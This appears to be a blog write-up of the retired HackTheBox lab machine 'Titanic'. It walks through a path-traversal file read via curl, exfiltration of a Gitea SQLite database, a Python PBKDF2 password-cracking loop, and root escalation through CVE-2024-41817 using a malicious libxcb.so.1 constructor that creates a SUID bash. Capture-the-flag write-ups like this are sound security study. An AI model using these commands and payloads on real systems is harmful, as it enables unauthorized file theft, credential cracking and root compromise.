~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / titanic.md

titanic

Linux · Easy · released 2025-02-15 · retired 2025-06-21

Summary

Titanic is an Easy Linux box: Flask cruise-booking site + dev.titanic.htb Gitea. Path traversal in /download?ticket= because os.path.join(TICKETS_DIR, ticket) accepts an absolute /etc/passwd value and drops the prefix → arbitrary file read. Exfil Gitea SQLite db; PBKDF2 hashes → developer’s password → SSH. CVE-2024-41817 in ImageMagick: a root cron runs magick identify on JPEGs in a writable directory; ImageMagick loads libxcb.so.1 from the cwd; drop a malicious shared library that setuid(0)s on constructor → SUID bash → root.

The chain:

  1. /download?ticket=/etc/passwd → arbitrary read.
  2. Exfil /home/developer/gitea/data/gitea/gitea.db → Gitea PBKDF2-HMAC-SHA256 (50000 iters, 50 bytes) hashes; developer’s password (date-style numeric) cracks against rockyou via a 30-line Python loop → SSH.
  3. /opt/scripts/identify_images.sh (root cron, ~60s) cds into /opt/app/static/assets/images/ and runs magick identify on every *.jpg. The directory is group-writable for developer.
  4. CVE-2024-41817: magick resolves libxcb.so.1 (and other helper libs) relative to the cwd. Drop a malicious libxcb.so.1 whose constructor cps /bin/bash to /tmp and SUIDs it. Next cron tick → /tmp/rb -p is effective root.

Recon

22/tcp     OpenSSH
80/tcp     nginx → titanic.htb (Flask) + dev.titanic.htb (Gitea)

Foothold — /download traversal

# Flask handler:
@app.route('/download')
def dl():
    t = request.args.get('ticket')
    return send_file(os.path.join(TICKETS_DIR, t))

os.path.join('/tickets', '/etc/passwd') returns /etc/passwd.

curl 'http://<TARGET>/download?ticket=/etc/passwd'
curl 'http://<TARGET>/download?ticket=/home/developer/gitea/data/gitea/gitea.db' \
   -o gitea.db

User pivot — Gitea SQLite

sqlite3 gitea.db "SELECT name,passwd,salt,passwd_hash_algo FROM user"
# administrator|<hex100>|<hex32>|pbkdf2$50000$50
# developer|<hex100>|<hex32>|pbkdf2$50000$50

The passwd_hash_algo is pbkdf2$50000$50 — Gitea’s custom PBKDF2-HMAC-SHA256 with 50000 iterations and 50-byte output. Hashcat doesn’t have a dedicated mode for this exact KDF; the quickest path is a 30-line Python loop over rockyou:

import hashlib, binascii
salt = binascii.unhexlify('<32-hex-salt>')
target = binascii.unhexlify('<100-hex-hash>')
for pw in open('/usr/share/wordlists/rockyou.txt','rb'):
    pw = pw.rstrip(b'\n')
    if hashlib.pbkdf2_hmac('sha256', pw, salt, 50000, 50) == target:
        print('FOUND:', pw); break

Hits <DEV_PW> (a date-style numeric string) in seconds against rockyou.

ssh developer@<TARGET>

Privesc — CVE-2024-41817 (ImageMagick cwd lib load)

$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" \
   | xargs /usr/bin/magick identify >> metadata.log

$ magick --version
ImageMagick 7.1.1-35   # vulnerable; -36 has the fix

The cd is the security-critical line: it sets magick’s cwd to the very directory developer can write to. Even though the crontab is in root’s personal crontab and not visible from developer’s shell, the cadence is observable by watching stat /opt/app/static/assets/images/metadata.log — its Modify timestamp ticks every ~60s.

CVE-2024-41817: ImageMagick searches the working directory for configuration files and shared libraries. When magick identify is invoked from the images directory, libxcb.so.1 (or other helpers) loads from ./.

cd /opt/app/static/assets/images
cat > evil.c <<'C'
#include <stdlib.h>
__attribute__((constructor))
void run(void) {
  setuid(0); setgid(0);
  system("cp /bin/bash /tmp/rb && chmod +s /tmp/rb");
}
C
gcc -shared -fPIC -nostartfiles -o libxcb.so.1 evil.c
# wait for cron tick
/tmp/rb -p

Why each step worked

Counterfactuals

References

← all htb machines hackthebox.com ↗